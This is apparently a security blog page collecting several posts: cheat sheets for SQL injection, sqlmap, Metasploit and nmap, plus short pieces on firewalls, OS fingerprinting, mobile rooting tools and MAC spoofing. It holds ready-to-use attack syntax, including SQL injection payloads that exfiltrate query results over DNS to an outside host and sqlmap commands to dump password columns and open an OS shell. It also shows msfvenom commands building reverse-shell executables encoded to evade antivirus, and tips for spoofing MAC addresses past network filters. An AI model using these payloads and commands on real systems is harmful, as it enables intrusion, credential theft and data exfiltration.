Posted in Security

SQL Injection cheat sheet

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

String concatenation

You can concatenate together multiple strings to make a single string.

Oracle'foo'||'bar'
Microsoft'foo'+'bar'
PostgreSQL'foo'||'bar'
MySQL'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')

Substring

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

OracleSUBSTR('foobar', 4, 2)
MicrosoftSUBSTRING('foobar', 4, 2)
PostgreSQLSUBSTRING('foobar', 4, 2)
MySQLSUBSTRING('foobar', 4, 2)

Comments

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle--comment
Microsoft--comment
/*comment*/
PostgreSQL--comment
/*comment*/
MySQL#comment
-- comment [Note the space after the double dash]
/*comment*/

Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

OracleSELECT banner FROM v$version
SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

OracleSELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
MicrosoftSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQLSELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

OracleDoes not support batched queries.
MicrosoftQUERY-1-HERE; QUERY-2-HERE
PostgreSQLQUERY-1-HERE; QUERY-2-HERE
MySQLDoes not support batched queries.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracledbms_pipe.receive_message(('a'),10)
MicrosoftWAITFOR DELAY '0:0:10'
PostgreSQLSELECT pg_sleep(10)
MySQLSELECT sleep(10)

Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
MicrosoftIF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQLSELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

DNS lookup

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

OracleThe following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoftexec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQLcopy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQLThe following techniques work on Windows only:
LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

DNS lookup with data exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

OracleSELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
Microsoftdeclare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
PostgreSQLcreate OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQLThe following technique works on Windows only:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
Posted in Security

8 Types of Firewalls

types of firewalls

Firewall types can be divided into several different categories based on their general structure and method of operation. Here are eight types of firewalls:

  • Packet-filtering firewalls
  • Circuit-level gateways
  • Stateful inspection firewalls
  • Application-level gateways (a.k.a. proxy firewalls)
  • Next-gen firewalls
  • Software firewalls
  • Hardware firewalls
  • Cloud firewalls

Note: The last three bullets list methods of delivering firewall functionality, rather than being types of firewall architectures in and of themselves.

How do these firewalls work? And, which ones are the best for your business’ cybersecurity needs?

Here are a few brief explainers:

Packet-Filtering Firewalls

Types of firewall architectures

As the most “basic” and oldest type of firewall architecture, packet-filtering firewalls basically create a checkpoint at a traffic router or switch. The firewall performs a simple check of the data packets coming through the router—inspecting information such as the destination and origination IP address, packet type, port number, and other surface-level information without opening up the packet to inspect its contents.

If the information packet doesn’t pass the inspection, it is dropped.

The good thing about these firewalls is that they aren’t very resource-intensive. This means they don’t have a huge impact on system performance and are relatively simple. However, they’re also relatively easy to bypass compared to firewalls with more robust inspection capabilities.

Circuit-Level Gateways

As another simplistic firewall type that is meant to quickly and easily approve or deny traffic without consuming significant computing resources, circuit-level gateways work by verifying the transmission control protocol (TCP) handshake. This TCP handshake check is designed to make sure that the session the packet is from is legitimate.

While extremely resource-efficient, these firewalls do not check the packet itself. So, if a packet held malware, but had the right TCP handshake, it would pass right through. This is why circuit-level gateways are not enough to protect your business by themselves.

Stateful Inspection Firewalls

These firewalls combine both packet inspection technology and TCP handshake verification to create a level of protection greater than either of the previous two architectures could provide alone.

However, these firewalls do put more of a strain on computing resources as well. This may slow down the transfer of legitimate packets compared to the other solutions.

Proxy Firewalls (Application-Level Gateways/Cloud Firewalls)

Proxy firewalls operate at the application layer to filter incoming traffic between your network and the traffic source—hence, the name “application-level gateway.” These firewalls are delivered via a cloud-based solution or another proxy device. Rather than letting traffic connect directly, the proxy firewall first establishes a connection to the source of the traffic and inspects the incoming data packet.

This check is similar to the stateful inspection firewall in that it looks at both the packet and at the TCP handshake protocol. However, proxy firewalls may also perform deep-layer packet inspections, checking the actual contents of the information packet to verify that it contains no malware.

Once the check is complete, and the packet is approved to connect to the destination, the proxy sends it off. This creates an extra layer of separation between the “client” (the system where the packet originated) and the individual devices on your network—obscuring them to create additional anonymity and protection for your network.

If there’s one drawback to proxy firewalls, it’s that they can create significant slowdown because of the extra steps in the data packet transferal process.

Next-Generation Firewalls

Many of the most recently-released firewall products are being touted as “next-generation” architectures. However, there is not as much consensus on what makes a firewall truly next-gen.

Some common features of next-generation firewall architectures include deep-packet inspection (checking the actual contents of the data packet), TCP handshake checks, and surface-level packet inspection. Next-generation firewalls may include other technologies as well, such as intrusion prevention systems (IPSs) that work to automatically stop attacks against your network.

The issue is that there is no one definition of a next-generation firewall, so it’s important to verify what specific capabilities such firewalls have before investing in one.

Software Firewalls

Software firewalls include any type of firewall that is installed on a local device rather than a separate piece of hardware (or a cloud server). The big benefit of a software firewall is that it’s highly useful for creating defense in depth by isolating individual network endpoints from one another.

However, maintaining individual software firewalls on different devices can be difficult and time-consuming. Furthermore, not every device on a network may be compatible with a single software firewall, which may mean having to use several different software firewalls to cover every asset.

Hardware Firewalls

Hardware firewalls use a physical appliance that acts in a manner similar to a traffic router to intercept data packets and traffic requests before they’re connected to the network’s servers. Physical appliance-based firewalls like this excel at perimeter security by making sure malicious traffic from outside the network is intercepted before the company’s network endpoints are exposed to risk.

The major weakness of a hardware-based firewall, however, is that it is often easy for insider attacks to bypass them. Also, the actual capabilities of a hardware firewall may vary depending on the manufacturer—some may have a more limited capacity to handle simultaneous connections than others, for example.

Cloud Firewalls

Hand shows a data cloud with a protective shield for cloud firewall

Whenever a cloud solution is used to deliver a firewall, it can be called a cloud firewall, or firewall-as-a-service (FaaS). Cloud firewalls are considered synonymous with proxy firewalls by many, since a cloud server is often used in a proxy firewall setup (though the proxy doesn’t necessarily have to be on the cloud, it frequently is).

The big benefit of having cloud-based firewalls is that they are very easy to scale with your organization. As your needs grow, you can add additional capacity to the cloud server to filter larger traffic loads. Cloud firewalls, like hardware firewalls, excel at perimeter security.

Posted in Security

SQL Map Cheat Sheet

Easy Scanning option

sqlmap -u "http://testsite.com/login.php"

Scanning by using tor

sqlmap -u "http://testsite.com/login.php" --tor --tor-type=SOCKS5

Scanning by manually setting the return time

sqlmap -u "http://testsite.com/login.php" --time-sec 15

List all databases at the site

sqlmap -u "http://testsite.com/login.php" --dbs

List all tables in a specific database

sqlmap -u "http://testsite.com/login.php" -D site_db --tables

Dump the contents of a DB table

sqlmap -u "http://testsite.com/login.php" -D site_db -T users –dump

List all columns in a table

sqlmap -u "http://testsite.com/login.php" -D site_db -T users --columns

Dump only selected columns

sqlmap -u "http://testsite.com/login.php" -D site_db -T users -C username,password --dump

Dump a table from a database when you have admin credentials

sqlmap -u "http://testsite.com/login.php" –method "POST" –data "username=admin&password=admin&submit=Submit" -D social_mccodes -T users –dump

Get OS Shell

sqlmap --dbms=mysql -u "http://testsite.com/login.php" --os-shell

Get SQL Shell

sqlmap --dbms=mysql -u "http://testsite.com/login.php" --sql-shell
Posted in Security

Mobile Device Security

Android

Root

  • Root (connected to PC): Dr.Fone – Root, Kingo, SRSRoot,Root Genius, iRoot
  • Root (App): SuperSU Pro Root App, Superuser Root App,Superuser X [L] Root App

Other:

  • zANTI is an easy to use penetration testing and a security analysis toolkit.
  • Tealium Charles Proxy , proxy server for android

IOS

  • Jailbreak (online): Hexxa Plus ,
  • Jailbreak (connected to PC) Unc0ver, pangu Jail break, Checkra1n, Virtual Jailbreak,Hardware Jailbreak

Other:

class-dump is a command-line utility for examining the Objective-C runtime information stored in Mach-O files. It generates declarations for the classes, categories and protocols. This is the same information provided by using ‘otool -ov’, but presented as normal Objective-C declarations, so it is much more compact and readable.

ipash ME (Micro Edition) – the missing command line shell for iPhone! Manage your iPhone and files from command

Keychain is the password management system in macOS, developed by Apple. 

IDA Pro is a disassembler, debugger, interactive. It is a piece of software used to translate machine code into a human readable format called assembly language. It is available for Windows, Linux, MacOS

Posted in Security

Metasploit cheat sheet

The Metasploit Project is a computer security project that provides information on vulnerabilities, helping in the development of penetration tests and IDS signatures.

Metasploit is a popular tool used by pentest experts. I have prepared a document for you to learn.

Metasploit :

Search for module:
msf > search [regex]

Specify and exploit to use:
msf > use exploit/[ExploitPath]

Specify a Payload to use:
msf > set PAYLOAD [PayloadPath]

Show options for the current modules:
msf > show options

Set options:
msf > set [Option] [Value]

Start exploit:
msf > exploit 

Useful Auxiliary Modules
Port Scanner:
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run

DNS Enumeration:
msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run

FTP Server:
msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run

Proxy Server:
msf > use auxiliary/server/socks4
msf > run 

msfvenom :

The msfvenom tool can be used to generate Metasploit payloads (such as Meterpreter) as standalone files and optionally encode them. This tool replaces the former msfpayload and msfencode tools. Run with ‘’-l payloads’ to get a list of payloads.

$ msfvenom –p [PayloadPath]
–f [FormatType]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]

Example :

Reverse Meterpreter payload as an executable and redirected into a file:

$ msfvenom -p windows/meterpreter/
reverse_tcp -f exe LHOST=10.1.1.1
LPORT=4444 > met.exe

Format Options (specified with –f) –help-formats – List available output formats

exe – Executable pl – Perl rb – Ruby raw – Raw shellcode c – C code

Encoding Payloads with msfvenom

The msfvenom tool can be used to apply a level of encoding for anti-virus bypass. Run with ‘-l encoders’ to get a list of encoders.

$ msfvenom -p [Payload] -e [Encoder] -f
[FormatType] -i [EncodeInterations]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]

Example

Encode a payload from msfpayload 5 times using shikata-ga-nai encoder and output as executable:

$ msfvenom -p windows/meterpreter/
reverse_tcp -i 5 -e x86/shikata_ga_nai -f
exe LHOST=10.1.1.1 LPORT=4444 > mal.exe

Metasploit Meterpreter
Base Commands:

? / help: Display a summary of commands exit / quit: Exit the Meterpreter session

sysinfo: Show the system name and OS type

shutdown / reboot: Self-explanatory

File System Commands:

cd: Change directory

lcd: Change directory on local (attacker’s) machine

pwd / getwd: Display current working directory

ls: Show the contents of the directory

cat: Display the contents of a file on screen

download / upload: Move files to/from the target machine

mkdir / rmdir: Make / remove directory

edit: Open a file in the default editor (typically vi)

Process Commands:

getpid: Display the process ID that Meterpreter is running inside.

getuid: Display the user ID that Meterpreter is running with.

ps: Display process list.

kill: Terminate a process given its process ID.

execute: Run a given program with the privileges of the process the Meterpreter is loaded in.

migrate: Jump to a given destination process ID

  • Target process must have same or lesser privileges
  • Target process may be a more stable process
  • When inside a process, can access any files that process has a lock on.
Network Commands:

ipconfig: Show network interface information

portfwd: Forward packets through TCP session

route: Manage/view the system’s routing table

Misc Commands:

idletime: Display the duration that the GUI of thetarget machine has been idle.

uictl [enable/disable] [keyboard/mouse]: Enable/disable either the mouse or keyboard of the target machine.

screenshot: Save as an image a screenshot of the target machine.

Additional Modules:

use [module]: Load the specified module

Example:

use priv: Load the priv module

hashdump: Dump the hashes from the box

timestomp:Alter NTFS file timestamps

Managing Sessions
Multiple Exploitation:

Run the exploit expecting a single session that is immediately backgrounded:

msf > exploit -z

Run the exploit in the background expecting one or more sessions that are immediately backgrounded:

msf > exploit –j

List all current jobs (usually exploit listeners):
msf > jobs –l

Kill a job:
msf > jobs –k [JobID]

Multiple Sessions:
List all backgrounded sessions:
msf > sessions -l

Interact with a backgrounded session:
msf > session -i [SessionID]

Background the current interactive session:
meterpreter > <Ctrl+Z>
or
meterpreter > background

Routing Through Sessions:

All modules (exploits/post/aux) against the target subnet mask will be pivoted through this session.

msf > route add [Subnet to Route To]
[Subnet Netmask] [SessionID]
Posted in Security

NMAP cheat sheet

Target Specification

Switch

Example

Description

nmap 192.168.1.1

Scan a single IP

nmap 192.168.1.1 192.168.2.1

Scan specific IPs

nmap 192.168.1.1-254

Scan a range

nmap scanme.nmap.org

Scan a domain

nmap 192.168.1.0/24

Scan using CIDR notation

-iL

nmap -iL targets.txt

Scan targets from a file

-iR

nmap -iR 100

Scan 100 random hosts

–exclude

nmap –exclude 192.168.1.1

Exclude listed hosts

Scan Techniques

Switch

Example

Description

-sS

nmap 192.168.1.1 -sS

TCP SYN port scan (Default)

-sT

nmap 192.168.1.1 -sT

TCP connect port scan
(Default without root privilege)

-sU

nmap 192.168.1.1 -sU

UDP port scan

-sA

nmap 192.168.1.1 -sA

TCP ACK port scan

-sW

nmap 192.168.1.1 -sW

TCP Window port scan

-sM

nmap 192.168.1.1 -sM

TCP Maimon port scan

Host Discovery

Switch

Example

Description

-sL

nmap 192.168.1.1-3 -sL

No Scan. List targets only

-sn

nmap 192.168.1.1/24 -sn

Disable port scanning. Host discovery only.

-Pn

nmap 192.168.1.1-5 -Pn

Disable host discovery. Port scan only.

-PS

nmap 192.168.1.1-5 -PS22-25,80

TCP SYN discovery on port x.

Port 80 by default

-PA

nmap 192.168.1.1-5 -PA22-25,80

TCP ACK discovery on port x.

Port 80 by default

-PU

nmap 192.168.1.1-5 -PU53

UDP discovery on port x.

Port 40125 by default

-PR

nmap 192.168.1.1-1/24 -PR

ARP discovery on local network

-n

nmap 192.168.1.1 -n

Never do DNS resolution

Port Specification

Switch

Example

Description

-p

nmap 192.168.1.1 -p 21

Port scan for port x

-p

nmap 192.168.1.1 -p 21-100

Port range

-p

nmap 192.168.1.1 -p U:53,T:21-25,80

Port scan multiple TCP and UDP ports

-p-

nmap 192.168.1.1 -p-

Port scan all ports

-p

nmap 192.168.1.1 -p http,https

Port scan from service name

-F

nmap 192.168.1.1 -F

Fast port scan (100 ports)

–top-ports

nmap 192.168.1.1 –top-ports 2000

Port scan the top x ports

-p-65535

nmap 192.168.1.1 -p-65535

Leaving off initial port in range
makes the scan start at port 1

-p0-

nmap 192.168.1.1 -p0-

Leaving off end port in range

makes the scan go through to port 65535

Service and Version Detection

Switch

Example

Description

-sV

nmap 192.168.1.1 -sV

Attempts to determine the version of the service running on port

-sV –version-intensity

nmap 192.168.1.1 -sV –version-intensity 8

Intensity level 0 to 9. Higher number increases possibility of correctness

-sV –version-light

nmap 192.168.1.1 -sV –version-light

Enable light mode. Lower possibility of correctness. Faster

-sV –version-all

nmap 192.168.1.1 -sV –version-all

Enable intensity level 9. Higher possibility of correctness. Slower

-A

nmap 192.168.1.1 -A

Enables OS detection, version detection, script scanning, and traceroute

OS Detection

Switch

Example

Description

-O

nmap 192.168.1.1 -O

Remote OS detection using TCP/IP
stack fingerprinting

-O –osscan-limit

nmap 192.168.1.1 -O –osscan-limit

If at least one open and one closed
TCP port are not found it will not try
OS detection against host

-O –osscan-guess

nmap 192.168.1.1 -O –osscan-guess

Makes Nmap guess more aggressively

-O –max-os-tries

nmap 192.168.1.1 -O –max-os-tries 1

Set the maximum number x of OS
detection tries against a target

-A

nmap 192.168.1.1 -A

Enables OS detection, version detection, script scanning, and traceroute

Timing and Performance

Switch

Example

Description

-T0

nmap 192.168.1.1 -T0

Paranoid (0) Intrusion Detection
System evasion

-T1

nmap 192.168.1.1 -T1

Sneaky (1) Intrusion Detection System
evasion

-T2

nmap 192.168.1.1 -T2

Polite (2) slows down the scan to use
less bandwidth and use less target
machine resources

-T3

nmap 192.168.1.1 -T3

Normal (3) which is default speed

-T4

nmap 192.168.1.1 -T4

Aggressive (4) speeds scans; assumes
you are on a reasonably fast and
reliable network

-T5

nmap 192.168.1.1 -T5

Insane (5) speeds scan; assumes you
are on an extraordinarily fast network

Switch

Example input

Description

–host-timeout <time>

1s; 4m; 2h

Give up on target after this long

–min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>

1s; 4m; 2h

Specifies probe round trip time

–min-hostgroup/max-hostgroup <size<size>

50; 1024

Parallel host scan group
sizes

–min-parallelism/max-parallelism <numprobes>

10; 1

Probe parallelization

–scan-delay/–max-scan-delay <time>

20ms; 2s; 4m; 5h

Adjust delay between probes

–max-retries <tries>

3

Specify the maximum number
of port scan probe retransmissions

–min-rate <number>

100

Send packets no slower than <numberr> per second

–max-rate <number>

100

Send packets no faster than <number> per second

NSE Scripts

Switch

Example

Description

-sC

nmap 192.168.1.1 -sC

Scan with default NSE scripts. Considered useful for discovery and safe

–script default

nmap 192.168.1.1 –script default

Scan with default NSE scripts. Considered useful for discovery and safe

–script

nmap 192.168.1.1 –script=banner

Scan with a single script. Example banner

–script

nmap 192.168.1.1 –script=http*

Scan with a wildcard. Example http

–script

nmap 192.168.1.1 –script=http,banner

Scan with two scripts. Example http and banner

–script

nmap 192.168.1.1 –script “not intrusive”

Scan default, but remove intrusive scripts

–script-args

nmap –script snmp-sysdescr –script-args snmpcommunity=admin 192.168.1.1

NSE script with arguments

Useful NSE Script Examples

Command

Description

nmap -Pn –script=http-sitemap-generator scanme.nmap.org

http site map generator

nmap -n -Pn -p 80 –open -sV -vvv –script banner,http-title -iR 1000

Fast search for random web servers

nmap -Pn –script=dns-brute domain.com

Brute forces DNS hostnames guessing subdomains

nmap -n -Pn -vv -O -sV –script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv 192.168.1.1

Safe SMB scripts to run

nmap –script whois* domain.com

Whois query

nmap -p80 –script http-unsafe-output-escaping scanme.nmap.org

Detect cross site scripting vulnerabilities

nmap -p80 –script http-sql-injection scanme.nmap.org

Check for SQL injections

Firewall / IDS Evasion and Spoofing

Switch

Example

Description

-f

nmap 192.168.1.1 -f

Requested scan (including ping scans) use tiny fragmented IP packets. Harder for packet filters

–mtu

nmap 192.168.1.1 –mtu 32

Set your own offset size

-D

nmap -D 192.168.1.101,192.168.1.102,
192.168.1.103,192.168.1.23 192.168.1.1

Send scans from spoofed IPs

-D

nmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ip

Above example explained

-S

Scan Facebook from Microsoft (-e eth0 -Pn may be required)

-g

nmap -g 53 192.168.1.1

Use given source port number

–proxies

nmap –proxies http://192.168.1.1:8080, http://192.168.1.2:8080 192.168.1.1

Relay connections through HTTP/SOCKS4 proxies

–data-length

nmap –data-length 200 192.168.1.1

Appends random data to sent packets

Example IDS Evasion command

nmap -f -t 0 -n -Pn –data-length 200 -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1

Output

Switch

Example

Description

-oN

nmap 192.168.1.1 -oN normal.file

Normal output to the file normal.file

-oX

nmap 192.168.1.1 -oX xml.file

XML output to the file xml.file

-oG

nmap 192.168.1.1 -oG grep.file

Grepable output to the file grep.file

-oA

nmap 192.168.1.1 -oA results

Output in the three major formats at once

-oG –

nmap 192.168.1.1 -oG –

Grepable output to screen. -oN -, -oX – also usable

–append-output

nmap 192.168.1.1 -oN file.file –append-output

Append a scan to a previous scan file

-v

nmap 192.168.1.1 -v

Increase the verbosity level (use -vv or more for greater effect)

-d

nmap 192.168.1.1 -d

Increase debugging level (use -dd or more for greater effect)

–reason

nmap 192.168.1.1 –reason

Display the reason a port is in a particular state, same output as -vv

–open

nmap 192.168.1.1 –open

Only show open (or possibly open) ports

–packet-trace

nmap 192.168.1.1 -T4 –packet-trace

Show all packets sent and received

–iflist

nmap –iflist

Shows the host interfaces and routes

–resume

nmap –resume results.file

Resume a scan

Helpful Nmap Output examples

Command

Description

nmap -p80 -sV -oG – –open 192.168.1.1/24 | grep open

Scan for web servers and grep to show which IPs are running web servers

nmap -iR 10 -n -oX out.xml | grep “Nmap” | cut -d ” ” -f5 > live-hosts.txt

Generate a list of the IPs of live hosts

nmap -iR 10 -n -oX out2.xml | grep “Nmap” | cut -d ” ” -f5 >> live-hosts.txt

Append IP to the list of live hosts

ndiff scanl.xml scan2.xml

Compare output from nmap using the ndif

xsltproc nmap.xml -o nmap.html

Convert nmap xml files to html files

grep ” open ” results.nmap | sed -r ‘s/ +/ /g’ | sort | uniq -c | sort -rn | less

Reverse sorted list of how often ports turn up

Miscellaneous Options

Switch

Example

Description

-6

nmap -6 2607:f0d0:1002:51::4

Enable IPv6 scanning

-h

nmap -h

nmap help screen

Other Useful Nmap Commands

Command

Description

nmap -iR 10 -PS22-25,80,113,1050,35000 -v -sn

Discovery only on ports x, no port scan

nmap 192.168.1.1-1/24 -PR -sn -vv

Arp discovery only on local network, no port scan

nmap -iR 10 -sn -traceroute

Traceroute to random targets, no port scan

nmap 192.168.1.1-50 -sL –dns-server 192.168.1.1

Query the Internal DNS for hosts, list targets only

Posted in Security

OS Fingerprinting using Wireshark

Passive OS Fingerprinting

Passive OS fingerprinting is the examination of a passively collected sample of packets from a host in order to determine its operating system platform. It is called passive because it doesn’t involve communicating with the host being examined. This technique is preferred by those on the defensive side of the fence because those individuals are typically viewing hosts from the perspective of a network intrusion detection system or a firewall. This will typically mean that there is some level of access to capture packets generated by the host in order to perform the examination of that data.

Comparing Hosts

Given a passive collection scenario, let’s examine two individual packets collected from two separate hosts.

 


Figure 1: Packet from Host A


Figure 2: Packet from Host B

Before we begin looking at the differences in these packets, let’s go ahead and see what they have in common. First, we can easily determine that both hosts are sending a TCP packet to another host. The TCP packet has only the SYN flag set, so this should be the first packet in a sequence of communication. Both hosts are sending their packets to the destination port 80, so we will assume that this is attempted communication with a web server.

Now we can start to look at a couple of things that differ between the two packets. The first thing that jumps out to most people is that Host A mentions having an invalid checksum. In this case, that is actually normal based upon the test environment the packet was captured in, so that can be ignored. Beyond that, we can discern a couple of interest variances. Let’s step through these differences and then we will try and draw some conclusions about the host that sent each packet.

Time to Live

The first variance in the two packets is the Time to Live (TTL) value. We’ve discussed that the RFC documentation defines the TTL field as a means to define the maximum time a packet can remain in transit on a network until it is discarded. The RFC doesn’t define a default value, and as such, different operating systems use different default values. In this case, we can note that packet A uses a TTL of 128, and packet B uses a TTL of 64. Remember that these packets were captured directly from the transmitting source. If you were capturing these packets from the perspective of the recipient, you would see varying numbers depending on how many router hops are in between the source and destination. For instance, instead of a TTL of 128, you may see a value of 116. Generally, it’s safe to assume that if you see a number close to 128 or 64, then the default TTL was most likely one of these two.

Length

I mentioned earlier that these two packets are performing the exact same function. That might lead you to assume that they would be the exact same size, but that’s not the case. Packet A reports its length as 52 bytes, whereas packet B reports a length of 60 bytes. That means that the source host transmitting packet B added an additional 8 bytes to its SYN packet.

The source of these extra bytes can be found in the TCP header portion of the packet. The TCP header is variable length. This means that according to specification, each and every packet containing a TCP header must include a certain number of required fields, but may optionally include a few other fields if they are needed. These additional fields are referred to as TCP Options.

In packet A, there are three TCP options set. These are the Maximum Segment Size, Window Scale, and TCP SACK Permitted options. There are also a few bytes of padding that make up a total of 12 bytes of TCP options.


Figure 3: TCP Header of Packet A

In packet B, we have those same options, with the addition of the Timestamp option (which also replaces a few of the padding bytes we see in packet A).


Figure 4: TCP Header of Packet B

The timestamp option accounts for the additional 8 bytes of data in the packet sent from Host B. Both packets still perform the same function, the packet from host B just provides a bit more information about the host that created and transmitted it.

Making a Determination

Now that we’ve pointed out a few differences between the packets, we can try and determine the source operating system of each machine. In an effort to narrow things down about, I will go ahead and tell you that one is a Windows device and the other is a Linux device. In order to determine which packet belongs with which OS, you can either deploy both operating systems in a test environment and do the research yourself, or look at a chart that someone has already prepared for you.

ttl-values
Figure 5: A brief OS fingerprinting chart

The chart above is a very brief version of a more detailed chart put out by the SANS Institute. Based on this chart, we can determine that Host A is a Windows device, and Host B is a Linux device.

With all of that said, it’s important to mention that passive fingerprinting isn’t always an exact science. We tend to group these values into their respective operating system family (Windows, Linux, etc), when in reality, a Fedora Linux device may produce a different packet size by default than a SuSe Linux device. In addition, a lot of these values are configurable whether it is by modifying a configuration file or the system registry. This means that although a Windows device may typically have a certain TCP Receive Window size by default, a simple registry modification could chance this behavior and fool our attempts at fingerprinting the OS.

Overall, there are all sorts of weird protocol quirks and default values of particular fields that can be used to passively fingerprint a system with packets alone. With this knowledge, you should be able to do a little bit of experimentation yourself to see what variances you can find between systems.

Wrapping Up

In this article, we’ve discussed passive OS fingerprinting and gone through an example where we’ve compared to similar packets sent from devices using different operating systems. In the next article in this series, we will talk about active OS fingerprinting and how the responses networked devices give to certain types of packets can help us clue in on their running operating system.

Posted in Security

Sql Server exploit

There is a command in SQL Server that enable us to extract user login details from database:

select * from  sys.server_principals where type = ‘U’;

Possible values for Principal type:

S = SQL login

U = Windows login

G = Windows group

R = Server role

C = Login mapped to a certificate

K = Login mapped to an asymmetric key

Posted in Security

 MAC spoofing and ARP poisoning.

MAC spoofing is using configuration controls to set a different MAC address for a router or laptop so it appears to the network as a device which is known. It used to be that this was required to put a router instead of a PC on a ISP connection – because it was locked down to a specific PC and the ISP would charge extra for each additional MAC address which appeared to be connected. Connecting a router was completely forbidden.

ARP poisoning is where you have a program which is actively sending out unsolicited ARP packets on the network to try to capture the traffic for a device. By altering the ARP table in other devices on the network, they can be forced to send traffic to a monitoring device instead of a router, for example. An ARP cache is used to translate between an IP address and a MAC address on a local network.

 

  1. Staying anonymous on the network: consider a situation when you are spoofing an ip address in a network. But before that you must have authenticated to the network using a MAC address (which hasn’t changed even after changing your ip address to spoofed one). So, a person intercepting the network can easily find out who you really are by looking at the MAC addresses.
  2. Device Identification: Many airport Wi-Fi networks and other public Wi-Fi networks use a device’s MAC address to identify it. For example, an airport Wi-Fi network might offer a free 30 minutes and then ban your MAC address from receiving more Wi-Fi. Change your MAC address and you may get more Wi-Fi.
  3. MAC filtering: Many networks employ MAC address filtering, only allowing devices with specific MAC addresses to connect to a network. Spoofing an allowed MAC address may give you access to the network.
  4. MAC Authentication: In many colleges and institutions only one device per person is allowed to access the free wifi. This restriction may be based on MAC address filtering, so spoofing the MAC address may allow to use more than one devices when you are allowed to use just one.
  5. Device Tracking: Many free wifi companies may use MAC address to track your movements. Randomizing your mac address may help prevent this type of tracking.

 

 

Posted in Security

Port Scanning – Common Port

Common Port

Port Scanner tools:

nmap
angry IP scanner
SuperScan

Port Scanning Methods:

Ping Scan

The simplest port scans are ping scans. A ping is an Internet Control Message Protocol (ICMP) echo request – you are looking for any ICMP replies, which indicates that the target is alive. A ping scan is an automated blast of many ICMP echo requests to different targets to see who responds.

